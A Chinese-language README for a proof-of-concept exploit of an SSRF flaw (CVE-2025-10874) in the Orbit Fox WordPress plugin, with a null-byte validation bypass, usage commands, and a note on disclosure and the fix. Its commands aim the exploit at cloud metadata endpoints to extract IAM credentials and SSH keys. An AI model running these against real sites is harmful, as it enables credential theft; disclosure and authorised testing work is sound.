
概念验证漏洞利用,演示 Orbit Fox WordPress 插件中存在的服务器端请求伪造(SSRF)漏洞,并利用空字节注入绕过。
详细博客文章:https://ryanmroth.com/articles/orbit-fox-ssrf
| 详情 | 说明 |
|---|
| CVE ID: | CVE-2025-10874 |
| 受影响插件: | ThemeIsle 的 Orbit Fox |
| 漏洞类型: | 服务器端请求伪造(SSRF)(CWE-918) |
| CVSS 评分: | 5.5(中危) |
| 所需权限: | Author+(WordPress 作者角色或更高权限 |
| 修复版本 | 3.0.2+ |
Orbit Fox 插件的 MyStock 导入功能存在 SSRF 漏洞,允许具有 Author+ 权限的已认证用户从 WordPress 服务器发起任意 HTTP 请求。该漏洞存在于 handle-request-mystock-import AJAX 操作中,该操作未能正确验证和清理 URL 参数。
该漏洞利用空字节注入绕过(%00.txt)来规避 URL 验证,从而能够访问服务器可访问的内部元数据服务、云提供商 API 及其他网络资源。
http://169.254.169.254/latest/meta-data/hostnamehttp://169.254.169.254/latest/meta-data/iam/security-credentials/http://169.254.169.254/latest/meta-data/public-keys/0/openssh-keyrequests 库urllib3 库# 克隆仓库
git clone <repository-url>
cd Orbit-Fox_SSRF_CVE-2025-10874
# 安装依赖(使用 uv)
uv sync
# 或使用 pip
pip install requests urllib3
# 提取 AWS 实例主机名(默认目标)
python orbit_fox_poc.py http://target.com -u author -p password123
# 指定自定义 SSRF 目标 URL
python orbit_fox_poc.py http://target.com -u author -p password123 \
-s http://169.254.169.254/latest/meta-data/hostname
# 提取 IAM 角色凭据
python orbit_fox_poc.py http://target.com -u author -p password123 \
-s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# 提取 SSH 公钥
python orbit_fox_poc.py http://target.com -u author -p password123 \
-s http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
# 不使用空字节绕过进行测试(在已修补版本上会失败)
python orbit_fox_poc.py http://target.com -u author -p password123 --no-nullbyte
# 启用调试输出以进行故障排查
python orbit_fox_poc.py http://target.com -u author -p password123 --debug
位置参数:
target 目标 WordPress URL(例如 http://example.com)
必需参数:
-u, --username WordPress 用户名(需要 Author+ 角色)
-p, --password WordPress 密码
可选参数:
-h, --help 显示帮助信息并退出
-s, --ssrf-url 通过 SSRF 请求的 URL
(默认:http://169.254.169.254/latest/meta-data/hostname)
--no-nullbyte 禁用空字节绕过(仅测试基本 SSRF)
--debug 启用调试输出以进行故障排查
%00.txt 以绕过验证handle-request-mystock-import AJAX 端点发送构造的请求admin-ajax.php 且 action 为 handle-request-mystock-import 的请求该漏洞已负责任地向供应商披露,并已在 Orbit Fox 3.0.2 版本中修复。此概念验证仅用于:
仅限授权安全测试
本工具仅用于教育和授权安全测试目的。未经授权访问计算机系统属于违法行为。用户必须:
作者对滥用本工具不承担任何责任。
最后更新: 2025-10-06